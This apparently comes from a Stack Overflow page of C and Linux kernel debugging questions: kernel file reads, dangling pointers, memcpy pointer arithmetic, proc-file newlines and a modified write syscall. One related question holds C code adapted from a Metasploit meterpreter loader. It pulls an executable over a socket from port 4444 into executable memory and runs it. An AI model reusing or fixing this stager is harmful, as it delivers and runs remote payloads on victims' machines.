Reading in kernel second time overrides first instance - c

I have written a read function to read a file into buffer in Kernel space.
int readfile(const char *filename, void *buf, int len, int offset)
{
struct file *filp;
mm_segment_t oldfs;
int bytes;
filp = NULL;
filp = filp_open(filename, O_RDONLY, 0);
if(!filp || IS_ERR(filp)) {
printk(" Error in reading file %s. Error = %d\n", filename, \
(int) PTR_ERR(filp));
return -1;
}
filp->f_pos = offset;
oldfs = get_fs();
set_fs(get_ds());
bytes = vfs_read(filp, buf, len, &filp->f_pos);
set_fs(oldfs);
filp_close(filp, NULL);
return bytes;
}
Now, this function works really well and I am able to read contents of filename into buf by calling this function from my system call
char *firstbuffer;
firstbuffer = kmalloc(sizeof(PAGE_SIZE), GFP_KERNEL);
bytesread = readfile(firstfile, firstbuffer, len, 0);
// Null terminate read string
firstbuffer[bytesread] = '\0';
printk("first buffer = %s\n",firstbuffer);
Then, I am calling this function again to read contents of secondfile into secondbuffer.
char *secondbuffer;
secondbuffer = kmalloc(sizeof(PAGE_SIZE), GFP_KERNEL);
bytesread2 = readfile(secondfile, secondbuffer, len, 0);
// Null terminate read string
secondbuffer[bytesread2] = '\0';
printk("second buffer %s", secondbuffer);
The problem is that after calling the read function on secondfile, the contents of my firstbuffer are getting overridden with contents of secondbuffer.
For example: if the contents of firstfile are
A
B
C
and contents of secondfile are
X
Y
Z
then after first read file call, the content of firstbuffer is:
A
B
C
and then after second read file call, the content of firstbuffer is:
A
X
Y
Z
Now, I am not sure what is going wrong here, but after second read function call, contents of firstbuffer is getting merged with contents of secondbuffer. How do I fix this?
Disclaimer:
I know we shouldn't do file I/O in Kernel space. This is purely to learn how read functions work in Kernel space.

kmalloc(sizeof(PAGE_SIZE), GFP_KERNEL)
This allocates sizeof(PAGE_SIZE) bytes. Now, PAGE_SIZE is an integer, so it's probably 4 bytes long, so you allocate 4 bytes.
If you wanted to allocate PAGE_SIZE bytes, use:
kmalloc(PAGE_SIZE, GFP_KERNEL)

Related

loading an running an exe file from a buffer in C

I wanted to retrieve an exe file from a socket and run it right from the buffer in C . I've found this little loader in github which was written to load meterpreter:
https://github.com/rsmudge/metasploit-loader/blob/master/src/main.c
As far as i know it works like this:
it gets the size of the exe file and allocates a buffer with the size + 5.
then it downloads the file using a socket and saves it in the buffer.
and casts the buffer to a pointer to function and simply calls the function.
That's what is does from a high abstraction. Though I don't exactly know what buffer[0] = 0xBF; actually does.
I've tried to change the code to run my exe file like this (the rest of functions are exactly the same as the original code):
//receive the agent data
int recv_all(SOCKET my_socket, void* buffer, int len) {
int tret = 0;
int nret = 0;
char* startb = (char *) buffer;
while (tret < len) {
nret = recv(my_socket, (char *)startb, len - tret, 0);
if (nret == SOCKET_ERROR)
punt(my_socket, "Could not receive data");
startb += nret;
tret += nret;
}
return tret; // length of received Data
}
int main(int argc, char *argv[]){
char host[] = "localhost";
int port = 4444;
int count;
ULONG32 size = 624128; //size of my file hard coded
char *buffer;
void (* function)();
SOCKET my_socket;
winsock_init();
my_socket = wsconnect(host, port);
buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (buffer == NULL){
punt(my_socket, "could not allocate buffer");
}
buffer[0] = 0xBF;
memcpy(buffer + 1, &my_socket, 4);
count = recv_all(my_socket, buffer + 5, size);
function = (void (*)())buffer;
function();
return 0;
}
As you can see I've just hard coded the size of my file in bytes.
Here is how I send the file:
f = open("my_file.exe", "rb")
l = f.read(1024)
while(l):
c.send(l)
l = f.read(1024)
f.close()
But after running the C code I get "Access violation":
Unhandled exception at 0x0069000C in laoder.exe: 0xC0000005: Access violation writing location 0x00D20000.
I'd appreciate any help on why this happens and what I am doing wrong.

An element of a struct loses its value after a function is called passing another struct as argument

I have a problem that I can't figure out. I have the following files: file_reader.c, file_reader.h, file_writer.c, file_writer.h, test_file_reader.c
I'm working with 'struct' to read and write files. For better understanding I wrote the following code test_file_reader.c:
#include <stdio.h>
#include "file_reader.h"
#include "file_writer.h"
int main ()
{
char *file_path = "/home/freitas/Dropbox/projects/gcleaner/cleaners/custom.xml";
struct FileReader *fr = malloc(sizeof(struct FileReader));
file_reader_new (file_path, fr);
show_file_reader_values(fr);
struct FileWriter *fw = malloc(sizeof(struct FileWriter));
fw->file_path = "/tmp/text1.txt";
fw->content = "aaa";
write (fw);
show_file_reader_values(fr);
return 0;
}
void show_file_reader_values(const struct FileReader *fr)
{
printf("==========FILE READER==========\n");
printf("file path: %s\n", fr->file_path);
printf("----------file content---------\n");
printf("content:\n%s\n", fr->content);
printf("----------file content---------\n");
printf("n lines: %d\n", fr->n_lines);
printf("n characters: %d\n", fr->n_characters);
printf("==========FILE READER==========\n\n");
}
The function 'file_reader_new' reads the file and then signs the content, file path, number of lines and number of characters to the 'struct' 'FileReader'.
When I call the function 'show_file_reader_values' in the first time I do not have problems with the content but when I call the function 'write' and then call the function 'show_file_reader_values' again, the content is not the same anymore. The question is that the function 'write' of the file 'file_writer.c' and its struct does not have any relation to the file 'file_reader' and its struct. So, how can a function using another struct change the values of another struct of another file ?
The output:
[freitas#localhost test]$ ./test_file_reader
==========FILE READER==========
file path: /home/freitas/Dropbox/projects/gcleaner/cleaners/custom.xml
----------file content---------
content:
<cleaner> <id>k3b</id> <label>k3b</label> <description>Disc writing software</description> <option> <id>log</id> <label>Log</label> <description>Delete the log file which contains information about the last writing session(s).</description> <command>delete</command> <search>glob</search> <path>~/.kde/share/apps/k3b/*.log</path> </option> <option> <id>log2</id> <label>Log</label> <description>Delete the log file which contains information about the last writing session(s).</description> <command>delete</command> <search>glob</search> <path>~/.kde/share/apps/k3b/*.log</path> </option> </cleaner>
----------file content---------
n lines: 1
n characters: 621
==========FILE READER==========
==========FILE READER==========
file path: /home/freitas/Dropbox/projects/gcleaner/cleaners/custom.xml
----------file content---------
content:
<cleaner> <id>k��U�N
----------file content---------
n lines: 1
n characters: 621
==========FILE READER==========
Did you see ? In the first call I had the entire output:
<cleaner> <id>k3b</id> <label>k3b</label> <description>Disc wri...
but in the second call I had:
<cleaner> <id>k��U�N
file_reader.c
#include <stdio.h>
#include <stdlib.h>
#include "file_reader.h"
int file_reader_new(const char *file_path, struct FileReader *fr)
{
char *content; // holds the file content.
int counter; // holds the file number of lines.
size_t i; // indexing into content.
size_t buffer_size; // size of the content.
char *temp; // for realloc().
char c; // for reading from the input.
FILE *input; // our input stream.
if ((input = fopen(file_path, "r")) == NULL) {
fprintf(stderr, "Error opening input file %s\n", file_path);
exit(EXIT_FAILURE);
}
/* Initial allocation of content */
counter = 0;
i = 0;
buffer_size = BUFSIZ;
if ((content = malloc(buffer_size)) == NULL) {
fprintf(stderr, "Error allocating memory (before reading file).\n");
fclose(input);
}
while ((c = fgetc(input)) != EOF) {
/* Enlarge content if necessary. */
if (i == buffer_size) {
buffer_size += BUFSIZ;
if ((temp = realloc(content, buffer_size)) == NULL) {
fprintf(stderr, "Ran out of core while reading file.\n");
fclose(input);
free(content);
exit(EXIT_FAILURE);
}
content = temp;
}
/* Add input char to the content. */
content[i++] = c;
/* If the character is a break of line
* then the counter will be incremented.
*/
if (c == '\n')
counter++;
}
/* Test if loop terminated from error. */
if (ferror(input)) {
fprintf(stderr, "There was a file input error.\n");
free(content);
fclose(input);
exit(EXIT_FAILURE);
}
/* Make the content a bona-fide string. */
if (i == buffer_size) {
buffer_size += 1;
if ((temp = realloc(content, buffer_size)) == NULL) {
fprintf(stderr, "Ran out of core (and only needed one more byte too ;_;).\n");
fclose(input);
free(content);
exit(EXIT_FAILURE);
}
content = temp;
}
content[i] = '\0';
/* Assigns the variables to the corresponding
* element of the struct.
*/
fr->file_path = file_path;
fr->content = content;
fr->n_lines = counter;
fr->n_characters = i;
/* Clean up. */
free(content);
fclose(input);
return 0;
}
file_reader.h
#ifndef FILE_READER_H_
#define FILE_READER_H_
typedef struct FileReader
{
char *content; // holds the file content.
char *file_path; // holds the file path.
int *n_lines; // holds the number of lines.
int *n_characters; // holds the number of characters.
} FileReader;
// file_reader_new - reads the file
int file_reader_new(const char *file_path, struct FileReader *fr);
#endif
file_writer.c
#include <stdio.h>
#include "file_writer.h"
void write (struct FileWriter *fw)
{
FILE *f = fopen(fw->file_path, "w");
if (f == NULL)
{
printf("Error opening file!\n");
exit(1);
}
fprintf(f, "%s", fw->content);
fclose(f);
}
file_writer.h
#ifndef FILE_WRITER_H_
#define FILE_WRITER_H_
typedef struct FileWriter
{
char *file_path;
char *content;
int *error;
} FileWriter;
#endif
Can you help me ? Thanks!
struct FileReader *fr = malloc(sizeof(struct FileReader));
There is no need to do this. All you need is this:
struct FileReader fr;
Same here:
struct FileWriter fw;
Then just pass the address of these variables to the requisite function(s).
Note this was not given to you as an answer, only as a comment to clean up your code a bit to remove extraneous calls to the heap. It just so happens that the real problem exists elsewhere, and what you're seeing here is undefined behavior in full glory.
I am not sure how are you reading from the file, character by character or block, but anyhow ,
since you update the read data in content buffer, and store the address of content buffer inside file_reader_new() into variable fr->content and immediately releasing the memory will end up loosing the data you read. and lead to condition called Dangling pointer
Dangling pointer
( a pointer variable, which points to a released memory )
that's why its always advised to set the pointer variable after releasing to NULL. Dereferencing a dangling pointer is will lead to Segmentation fault or undefined behavior in some scenarios.
Also, since all you member variables of struct are pointers its better to initialize them to NULL.
you can use calloc to initialize all the variables in a struct, instead of malloc to initialize all the members to NULL, if you are going with dynamic allocation. which goes for string also.
Here is an issue that I see:
fr->content = content;
fr->n_lines = counter;
fr->n_characters = i;
/* Clean up. */
free(content); /* <-- Danger */
You do this in your file_reader_new function. You then call show_file_reader_values and in that function, you're accessing content:
printf("content:\n%s\n", fr->content);
Since you called free() on the content, that pointer no longer points to valid memory, thus undefined behavior occurs.
The fix is to allocate space on fr for the content and copy the characters of content to this space, or simply not call free on content.
So either do this:
fr->content = malloc(i + 1);
strcpy(fr->content, content);
fr->n_lines = counter;
fr->n_characters = i;
/* Clean up. */
free(content);
or this:
fr->content = content;
fr->n_lines = counter;
fr->n_characters = i;
/* No call to free(content) done */

C - Problems extracting data from buffer. Possibly endianess-related

I'm having some difficulties extracting data from a buffer using memcpy.
First, I memcpy some variables into a buffer:
int l1_connect(const char* hostname, int port) {
// Variables to be stored in the buffer
char *msg = "Hi, I'm a message"; // strlen(msg) == 17
uint16_t sender_id = htons(1); // sizeof(sender_id) == 2
uint16_t packet_size = htons(sizeof(packet_size)+sizeof(sender_id)+strlen(msg)); // sizeof(packet_size) == 2
// Checking values
printf("l1_connect():\nsender_id: %d, packet_size: %d\n\n", ntohs(sender_id), ntohs(packet_size));
// sender_id == 1, packet_size == 21
// The buffer
char buf[100];
// Copying everything
memcpy(&buf, &sender_id, sizeof(sender_id));
memcpy(&buf+sizeof(sender_id), &packet_size, sizeof(packet_size));
memcpy(&buf+sizeof(sender_id)+sizeof(packet_size), &msg, strlen(msg));
// Passing buf to another function
int bytes_sent = l1_send(1, buf, sizeof(buf));
}
I then try to extract that data (checking, before sending over UDP socket):
int l1_send( int device, const char* buf, int length ) {
// Variables in which to store extracted data
uint16_t id = 0;
uint16_t size = 0;
char msg[50];
memcpy(&id, &buf, sizeof(id));
memcpy(&size, &buf+sizeof(id), sizeof(size));
int remaining = ntohs(size) - (sizeof(id) + sizeof(size));
printf("l1_send():\nremaining: %d\n", remaining); // -37041
// memcpy-ing with correct(?) offset
memcpy(&msg, &buf+sizeof(id)+sizeof(size), 50);
msg[49] = '\0';
printf("id: %d\n", ntohs(id)); // 8372
printf("size: %d\n", ntohs(size)); // 37045
printf("msg: %s\n", msg); // ��$_�
return 0; // For now
}
As you can see, the values aren't quite what I'm expecting. Can anyone tell me what I'm doing wrong?
Your pointer math is incorrect. You're using &buf where you should just be using buf. If this doesn't explain what is wrong, nothing else I can say will:
#include <stdio.h>
int main(int argc, char **argv)
{
char buff[100];
printf("buff : %p\nbuff+10 : %p\n&buff+10 : %p\n", buff, buff+10, &buff+10);
return 0;
}
Output (varies by platform, obviously)
buff : 0xbf87a8bc
buff+10 : 0xbf87a8c6
&buff+10 : 0xbf87aca4
See it live. The math you're doing is incrementing by type, which for &buf is a pointer to array of 100 chars; not a simple char address. Therefore, &buff + 10 (in my sample) says "give me the 10th array of 100 chars from where I am now.". The subsequent write is invoking undefined behavior as a consequence.
Valgrind is your buddy here, btw. It would have caught this in a heartbeat.
Update
May as well fill in the entire gambit while I'm here. This is also wrong in l1_send:
memcpy(&id, &buf, sizeof(id));
// this------^
and the subsequent other areas you're using it in that function. You're taking the address of a parameter pointer, not the value within it. I'm confident you need buf there as well.
Try this:
memcpy(buf, &sender_id, sizeof(sender_id));
memcpy(buf + sizeof(sender_id), &packet_size, sizeof(packet_size));
memcpy(buf + sizeof(sender_id) + sizeof(packet_size), msg, strlen(msg));
To help you understand what is wrong with your code, you can read this.
Related: Pointer math vs. Array index

Newline characters not showing up in proc file

So I'm writing a linux kernel module that involves writing to a proc file. Unfortunately something is going wrong with the newline character. If I open it with vim, it shows as "num^#num^#num^#". If I cat it, it says "numnumnum". It should go to a new line at the end of each "num".
My code for writing each entry to the proc file admittedly seems kind of hacky.
bufSize = snprintf(str,0,"%lu\n",var);
str = (char*)kmalloc(bufSize*sizeof(char),GFP_KERNEL);
snprintf(str,bufSize,"%lu\n",var);
memcpy(msg+msglen,str,bufSize);
msglen+=(bufSize);
kfree(str);
I don't know how long the string will be, so the first snprintf gets the length needed for the buffer. The buffer is initialized, then snprintf is called again. The string is then copied to msg, which contains the data for the proc file. The pointer is incremented by the length of the existing message.
int procfile_read(char *buffer, char **buffer_location, off_t offset, int
buffer_length, int *eof, void *data) {
int ret;
printk(KERN_INFO "procfile_read (/proc/%s) called\n", PROCFS_NAME);
if (offset > 0) {
/* we have finished to read, return 0 */
ret = 0;
} else {
/* fill the buffer, return the buffer size */
memcpy(buffer, msg, msglen);
ret = msglen;
}
return ret;
This is pretty much copied and pasted from a tutorial.
Thanks!
Buffer size is too small
bufSize = snprintf(str,0,"%lu\n",var);
// + 1
str = (char*)kmalloc((bufSize + 1)*sizeof(char),GFP_KERNEL);
// + 1
snprintf(str,bufSize + 1,"%lu\n",var);
// + 1
memcpy(msg+msglen,str,bufSize + 1);
// no + 1 here
// Note that msglen is the string length. Add 1 for the size needed.
msglen+=(bufSize);
kfree(str);

System Call write

The system call write it's defined as follow:
SYSCALL_DEFINE3(write, unsigned int, fd, const char __user *, buf, size_t, count)
{
struct file *file;
ssize_t ret = -EBADF;
int fput_needed;
file = fget_light(fd, &fput_needed);
if (file) {
loff_t pos = file_pos_read(file);
ret = vfs_write(file, buf, count, &pos);
file_pos_write(file, pos);
fput_light(file, fput_needed);
}
return ret;
}
I'd like to copy the variable buf to modify your content and
then use this new variable at:
vfs_write(file, new_buf, count, &pos);
I've tried to allocate memory to a char pointer variable with kmalloc and then I've used copy_from_user() to do the copy. Finally I've used the new variable at vfs_write(). After recompile the kernel and reboot the system I've got kernel panic error message.
Here is my implementation that generates a kernel panic error message:
SYSCALL_DEFINE3(write, unsigned int, fd, const char __user *, buf, size_t, count){
struct file *file;
ssize_t ret = -EBADF;
int fput_needed;
char *data;
data = kmalloc(count, GFP_KERNEL);
if(!data)
return ret;
copy_from_user(data, buf, count);
file = fget_light(fd, &fput_needed);
if (file) {
loff_t pos = file_pos_read(file);
ret = vfs_write(file, data, count, &pos);
file_pos_write(file, pos);
fput_light(file, fput_needed);
}
return ret;
}
How can I do this copy in kernel mode?
I'm using Linux Mint 12 - Kernel version: 3.0.30
You should probably also post your code. I.e. the changes you made to the write system call to be certain where the error is.
That said, there are checks in place that don't allow you to use kernel memory for system calls. You either need to allocate your buffer in user address space for the process (bad) or disable the checks (not as bad).
I'm not as familiar with the 3.0 kernel but this answer looks promising:
mm_segment_t old_fs;
old_fs = get_fs();
set_fs(KERNEL_DS);
/* Your syscall here */
set_fs(old_fs);

Resources